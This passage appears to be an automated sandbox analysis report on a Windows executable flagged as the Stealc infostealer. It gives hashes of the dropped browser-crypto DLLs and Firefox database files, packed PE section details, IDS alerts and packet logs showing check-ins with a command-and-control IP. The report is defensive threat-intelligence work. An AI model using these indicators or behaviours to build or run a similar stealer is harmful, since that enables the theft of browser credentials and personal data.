SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ae67deafb5d9386fbca3d4d728d79651daaa42eef8086.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ZDW7Di1Ykf.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948743993690686
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'838'080 bytes
MD5:	9305df8e055c06e0cae849b3cea64161
SHA1:	fb33a9ece2bb23e2680a7c9e80cbd2c861ed0c38
SHA256:	8a1a8c78b7a8b7d607556374787f069fc5fdbb1de7c48c232b5be55b97d2df9b
SHA512:	4f336e379bccde5da78f7bcd5f60adc87e82e6ebbcac8f289a37aa478610c932383f4ea8fe90efc8b8dc9250ea96e7e355af84bc97b57bcc052406a98592eb57
SSDEEP:	24576:i9VbepdWqdWoqnPR0JjSHeK9PCVE3LHoRWaUXpOhM33EbWU8eWXThzFwiP7:AJCdnoMj679TbHoc3p7S3WXTciD
TLSH:	008533C01FE8C473F45875F4AEAB4622BE8E64FB4AFD16566200012595337873BEE5CA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...9$.g...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa98000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671C2439 [Fri Oct 25 23:05:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F58CCAE80DAh
pminsw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	5eb9efd7c0296f6687e5b919da8288ae	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29e000	0x200	dc70765a039d9d0e3e7cb87a4b58e012	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qzklfjmo	0x4fc000	0x19b000	0x19a800	15de46d667b019f32391820681023690	False	0.9948769126827041	data	7.953841410697084	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ysqshdlq	0x697000	0x1000	0x600	442d5c786119e2ade909dfd4052247a2	False	0.572265625	data	4.972974195044672	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x698000	0x3000	0x2200	16ef30c73157ad89bd045185f5b2b6cd	False	0.07490808823529412	DOS executable (COM)	0.9706781404368525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T00:31:03.336888+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:03.619688+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:03.626310+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-10-27T00:31:03.901616+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:03.909212+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-10-27T00:31:05.191737+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:05.729204+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:13.675897+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:15.395767+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:16.527255+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:17.341379+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:18.993972+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:19.432369+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 00:31:02.092257023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:02.098095894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:02.098165989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:02.100122929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:02.105549097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:02.998636961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:02.998877048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:03.042979002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:03.048688889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:03.336829901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:03.336888075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:03.339122057 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:03.344387054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:03.619579077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:03.619688034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:03.619874001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:03.619929075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:03.620985031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:03.626310110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:03.901525974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:03.901607037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:03.901616096 CEST	49709	80	192.168.2.6	185.215.113.206
